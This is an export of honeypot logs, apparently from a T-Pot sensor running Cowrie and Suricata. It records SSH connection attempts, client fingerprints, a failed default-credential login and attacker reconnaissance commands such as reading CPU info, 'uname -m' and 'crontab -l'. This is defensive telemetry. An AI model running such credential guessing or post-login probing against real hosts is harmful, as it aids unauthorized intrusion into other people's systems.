33716	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:56:45.553046+03	2021-09-20 15:00:06.211722+03	{"_id": "dgYQA3wBvYTbRNuE0VE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f2a246894241", "@version": "1", "timestamp": "2021-09-20T11:56:45.553046Z", "@timestamp": "2021-09-20T11:56:45.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33717	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:56:45.798387+03	2021-09-20 15:00:06.213722+03	{"_id": "dwYQA3wBvYTbRNuE0VE7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [ssh-user/ssh-user] failed", "session": "f2a246894241", "@version": "1", "password": "ssh-user", "username": "ssh-user", "timestamp": "2021-09-20T11:56:45.798387Z", "@timestamp": "2021-09-20T11:56:45.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33718	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:37.064442+03	2021-09-20 15:00:06.214722+03	{"_id": "MwYQA3wBvYTbRNuErlEM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "110.137.195.172", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.45494985580444336, "duplicate": true, "timestamp": "2021-09-20T11:56:37.064442Z", "@timestamp": "2021-09-20T11:56:37.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33719	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:38.171932+03	2021-09-20 15:00:06.215722+03	{"_id": "PwYQA3wBvYTbRNuEtVHd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:38.171932Z", "@timestamp": "2021-09-20T11:56:38.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33720	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:38.940531+03	2021-09-20 15:00:06.216722+03	{"_id": "QAYQA3wBvYTbRNuEtVHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:38.940531Z", "@timestamp": "2021-09-20T11:56:38.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33721	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:38.941084+03	2021-09-20 15:00:06.217723+03	{"_id": "QQYQA3wBvYTbRNuEtVHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:38.941084Z", "@timestamp": "2021-09-20T11:56:38.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33722	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:56:35.233225+03	2021-09-20 15:00:06.219722+03	{"_id": "MAYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:59332 (192.168.176.2:22) [session: 7948bfe3c04f]", "session": "7948bfe3c04f", "@version": "1", "protocol": "ssh", "src_port": 59332, "dest_port": 22, "timestamp": "2021-09-20T11:56:35.233225Z", "@timestamp": "2021-09-20T11:56:35.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33723	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.8809+03	2021-09-20 15:00:06.220721+03	{"_id": "MQYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:35.880900Z", "@timestamp": "2021-09-20T11:56:35.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33724	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:35.881398+03	2021-09-20 15:00:06.221723+03	{"_id": "MgYQA3wBvYTbRNuEqlEj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "which ls", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:35.881398Z", "@timestamp": "2021-09-20T11:56:35.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33725	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:42.129024+03	2021-09-20 15:00:06.222722+03	{"_id": "agYQA3wBvYTbRNuEwVGa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 24 seconds", "session": "929986875dbf", "@version": "1", "duration": 24.710197687149048, "timestamp": "2021-09-20T11:56:42.129024Z", "@timestamp": "2021-09-20T11:56:42.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33726	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:36.609572+03	2021-09-20 15:00:06.224722+03	{"_id": "NgYQA3wBvYTbRNuErlEM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:36.609572Z", "@timestamp": "2021-09-20T11:56:36.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33727	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:36.61011+03	2021-09-20 15:00:06.225722+03	{"_id": "NwYQA3wBvYTbRNuErlEM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "crontab -l", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:36.610110Z", "@timestamp": "2021-09-20T11:56:36.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33728	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:56:36.696631+03	2021-09-20 15:00:06.226722+03	{"_id": "OAYQA3wBvYTbRNuEr1FI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:56:36.696631+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2109816633073975, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37736, "timestamp": "2021-09-20T11:56:36.696631Z", "@timestamp": "2021-09-20T11:56:36.696Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33729	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:37.830633+03	2021-09-20 15:00:06.227721+03	{"_id": "OQYQA3wBvYTbRNuEsVH0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "110.137.195.172", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "929986875dbf", "@version": "1", "duration": 0.4167466163635254, "duplicate": true, "timestamp": "2021-09-20T11:56:37.830633Z", "@timestamp": "2021-09-20T11:56:37.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
33730	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:37.414515+03	2021-09-20 15:00:06.228721+03	{"_id": "OwYQA3wBvYTbRNuEsVH0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "w", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:37.414515Z", "@timestamp": "2021-09-20T11:56:37.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33731	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:38.172484+03	2021-09-20 15:00:06.229722+03	{"_id": "PQYQA3wBvYTbRNuEtVHd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "input": "uname -m", "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:38.172484Z", "@timestamp": "2021-09-20T11:56:38.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
33732	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:39.681359+03	2021-09-20 15:00:06.231723+03	{"_id": "TwYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.params", "message": [], "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:39.681359Z", "@timestamp": "2021-09-20T11:56:39.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	\N	\N
33733	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:56:39.878386+03	2021-09-20 15:00:06.232722+03	{"_id": "UAYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "acc299e8eac6", "@version": "1", "timestamp": "2021-09-20T11:56:39.878386Z", "@timestamp": "2021-09-20T11:56:39.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
33734	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:56:39.818135+03	2021-09-20 15:00:06.233721+03	{"_id": "UQYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.250:52216 (192.168.176.2:22) [session: acc299e8eac6]", "session": "acc299e8eac6", "@version": "1", "protocol": "ssh", "src_port": 52216, "dest_port": 22, "timestamp": "2021-09-20T11:56:39.818135Z", "@timestamp": "2021-09-20T11:56:39.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33735	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:56:39.961763+03	2021-09-20 15:00:06.234722+03	{"_id": "UgYQA3wBvYTbRNuEuVHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3bf91f18a281", "@version": "1", "timestamp": "2021-09-20T11:56:39.961763Z", "@timestamp": "2021-09-20T11:56:39.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
